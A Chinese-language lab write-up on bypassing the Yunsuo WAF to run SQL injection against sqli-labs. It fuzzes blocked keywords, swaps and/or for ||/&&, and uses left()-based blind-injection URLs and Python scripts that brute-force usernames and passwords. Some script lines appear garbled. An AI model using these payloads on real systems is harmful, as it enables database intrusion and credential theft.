1.云锁简单介绍
云锁是中国用户总量领先的主机安全产品,在国际上率先达到Gartner定义的cwpp(云工作负载保护平台)标准,兼容多种虚拟化架构和操作系统,可以高效支撑现代混合数据中心架构下的主机安全需求。云锁基于服务器端轻量级agent,安全加固服务器操作系统及应用,云锁waf探针、rasp探针、内核加固探针能有效检测与抵御已知、未知恶意代码和黑客攻击;同时云锁融合资产管理、微隔离、攻击溯源、自动化运维、基线检查等强大功能,帮助用户高效安全运维服务器。
2.测试环境准备
CentOS8.2.2004, 云锁waf,云锁pc客户端,sqli-labs, upload-labs,宝塔
云锁waf安装命令:
代码语言:javascript复制CentOS/Redhat
x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod x yunsuo_install/install && yunsuo_install/install
x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod x yunsuo_install/install && yunsuo_install/install
Ubuntu
x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod x yunsuo_install/install && sudo yunsuo_install/install
x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod x yunsuo_install/install && sudo yunsuo_install/install
云锁PC客户端
防护模式选择最高级别,在URL上检测所有规则
利用宝塔建站,将sqli-labs和upload-labs搭建在服务器上
3.FUZZ过程
3.1 注释符
#、-- 、; 均可使用
3.2 order by绕过
order by
函数被ban了,单个使用不检测,联合起来检测
http://ip:port/Less-1/?id=order
代码语言:javascript复制http://ip:port/Less-1/?id=order by
虽然order by被ban了,但是幸运的是group by没有被ban,还是可以通过group by来获取字段数。
代码语言:javascript复制http://ip:port/Less-1/?id=1' group by 3--
代码语言:javascript复制http://ip:port/Less-1/?id=1' group by 4--
综上可以看出,有三个字段。
3.3 union select
不出所料的也被ban了,同样也是单个使用不会被ban,同时使用时被ban
并且' union
和" union
同时出现时也会被ban
select from
同时出现时也会被拦截
http://ip:port/Less-1/?id=select from
通过测试发现并没有比较好的方法绕过union select
3.4 sleep
sleep()函数没有被ban,可以尝试盲注
3.5 报错注入函数
其中extractvalue()
和updatexml()
均被拦截
http://ip:port/Less-1/?id=-1' || extractvalue()
代码语言:javascript复制http://ip:port/Less-1/?id=-1' || updatexml()
floor(rand(0)*2)
可以使用
http://ip:port/Less-1/?id=floor(rand(0)*2)
group by
和 count()
也可以使用
http://ip:port/Less-1/?id=count(*) || group by **floor(rand(0)*2)**
但是select from等均会被拦截,报错注入也不是很好绕过WAF。
3.6 database()、user()、version()
database()
、user()
均被ban了,version()
没有被ban
3.7 内联注释
尝试内联注释绕过,不过/*!*/被ban了
代码语言:javascript复制http://ip:port/Less-1/?id=-1' /*!union*/ select 1,2,3#
/**/虽然没被ban,但是不会解析
代码语言:javascript复制http://ip:port/Less-1/?id=-1' un/**/ion select 1,2,3#
/**/放在其他地方时,又会因为' union
和 union select
而被拦截
http://ip:port/Less-1/?id=-1' /**/union select 1,2,3#
4.正式绕过
4.1 and or替换
虽然and、or、xor被ban了,但是可以用&&、 ||代替
代码语言:javascript复制http://ip:port/Less-1/?id=-1' || 1=1#
&&没法直接绕过and,和url传递多参数会有冲突,但是url编码一下就可以了
代码语言:javascript复制http://ip:port/Less-1/?id=1' && 1=1#
代码语言:javascript复制http://ip:port/Less-1/?id=1' && 1=1#
代码语言:javascript复制http://ip:port/Less-1/?id=1' && 2=1#
此时证明存在注入漏洞
4.2 left函数利用
尝试利用left()
函数
示例:left('abc',2)
返回值为ab
之后将他与字符串进行比较 例如 left('abc',1)>'a'
返回结果为false 因为 ‘a’=‘a’
同样的left(abc,2)>'aa'
返回结果为TURE 因为‘ab’是要大于‘aa’
根据返回的结果的真假与前面的语句用and相连接构造逻辑关系
即后面结果为真,页面就正常回显。若后面的语句为假,则页面回显异常
代码语言:javascript复制http://ip:port/Less-1/?id=-1' || left('abc',2)>'aa'#
当去掉'abc'的单引号时,会报不存在abc字段的错误,可知我们可以输入一个字段名来进行left的操作
代码语言:javascript复制http://ip:port/Less-1/?id=-1' || left(abc,2)>'aa'#
通过爆破可以爆出字段名username和password。这里爆破可以用sqlmap自带的column字典,很好用,当然也可以自定义字典。
代码语言:javascript复制字典位置:sqlmap-masterdatatxtcommon-columns.txt
爆破脚本:
代码语言:javascript复制import requests
# burpsuite抓包直接复制
burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
fp = open('common-columns.txt')
initial_payload = "?id=-1' || left({column}, 2)>'aa' #"
while 1:
column = fp.readline()
if not column:
break
column = column.strip('n')
payload = initial_payload.format(column=column)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
print(column)
else:
continue
得到结果:
代码语言:javascript复制username
password
尝试username,成功
代码语言:javascript复制http://ip:port/Less-1/?id=-1' || left(username,2)>'aa'#
如果利用left(username,1)='a'
就能得到第一个开头为a的表username内的字段值
http://ip:port/Less-1/?id=-1' || left(username,1)='a'#
但是实际环境中,可能存在着不止一个以a开头的用户,比如当我们使用left(username,2)='ad'
来判断时,就会获得如下结果
http://ip:port/Less-1/?id=-1' || left(username,2)='ad'#
在实际环境中,正常情况下肯定都不会直接回显字段值,此时我们就需要盲注爆破了。可以先判断长度,比如:
固定长度为6时,并且字段值开头第一个字母为s,就会成功访问。
代码语言:javascript复制http://121.196.99.70:8700/Less-1/?id=-1' || left(username, 1)='s' && length(username)=6#
当设置长度为7时,没有长度为7且第一个字母为s的字段值,就不会回显
代码语言:javascript复制http://121.196.99.70:8700/Less-1/?id=-1' || left(username, 1)='s' && length(username)=7#
当长度为8时,又存在新的数据,这时就会成功回显。
代码语言:javascript复制http://121.196.99.70:8700/Less-1/?id=-1' || left(username, 1)='s' && length(username)=8#
4.3 爆破脚本
此时,我们就可以利用这种方法来进行爆破了。
爆破username:
代码语言:javascript复制import requests
import time
# requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
# payload ="-1' || left(username, {number})='{name}' && length(username)={length}#"
# burpsuite抓包直接复制
burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
#常用字符表
chars = "abcdefghijklmnopqrstuvwxyz@0123456789!-$"
# 全字符表
# allchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@0123456789!"#$%&'()* ,-./:;<=>?[]^_`{|}~"
#待爆破字段名
column = "username"
initial_payload ="?id=-1' || left({column}, {number})='{name}'#"
result = []
def burst(burst_payload: str, burst_number: int, burst_name: str, burst_length):
for char1 in chars:
payload = burst_payload.format(number=burst_number, name=burst_name char1, column=column, length=burst_length)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
#print(payload)
burst_name = burst_name char1
return burst_name
else:
continue
for char1 in chars:
payload = initial_payload.format(number=1, name=char1, column=column)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
for length in range(1, 10):
payload = (initial_payload[:-3] " && length({column})={length}#").format(number=1, name=char1, column=column, length=str(length))
#print(payload)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
burst_name = char1
for i in range(2, length 1):
burst_number = i
burst_payload = (initial_payload[:-3] " && length({column})={length}#")
burst_name = burst(burst_payload, burst_number, burst_name, length)
result.append(burst_name)
print(result)
else:
continue
else:
continue
可以得到如下结果:
代码语言:javascript复制['admin', 'angelina', 'batman', 'dumb', 'dummy', 'secure', 'superman']
爆破password:
代码语言:javascript复制import requests
import time
# requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
# payload ="-1' || left(username, {number})='{name}' && length(username)={length}#"
# burpsuite抓包直接复制
burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
#常用字符表
chars = "abcdefghijklmnopqrstuvwxyz@0123456789!-$"
# 全字符表
# allchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@0123456789!"#$%&'()* ,-./:;<=>?[]^_`{|}~"
#待爆破字段名
column = "password"
initial_payload ="?id=-1' || left({column}, {number})='{name}'#"
result = []
def burst(burst_payload: str, burst_number: int, burst_name: str, burst_length):
for char1 in chars:
payload = burst_payload.format(number=burst_number, name=burst_name char1, column=column, length=burst_length)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
#print(payload)
burst_name = burst_name char1
return burst_name
else:
continue
for char1 in chars:
payload = initial_payload.format(number=1, name=char1, column=column)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
for length in range(1, 10):
payload = (initial_payload[:-3] " && length({column})={length}#").format(number=1, name=char1, column=column, length=str(length))
#print(payload)
res = requests.get(burp0_url payload, headers=burp0_headers, cookies=burp0_cookies)
if "Your Login name" in res.text:
burst_name = char1
for i in range(2, length 1):
burst_number = i
burst_payload = (initial_payload[:-3] " && length({column})={length}#")
burst_name = burst(burst_payload, burst_number, burst_name, length)
result.append(burst_name)
print(result)
else:
continue
else:
continue
结果如下:
代码语言:javascript复制['admin', 'crappy', 'dumb', 'genious', 'mob!le', 'p@ssword', 'stupidity']
注:
目前脚本存在两个问题,第一个是大小写不敏感,导致用户和密码如果存在大小写会有问题。第二个是同长度同首字母的不同用户,只能识别第一个,如果想要识别多个会大大提高所花费的时间,有空再改改。
大概可以通过二分法来做,然后用ord(name)>64来判断是否存在。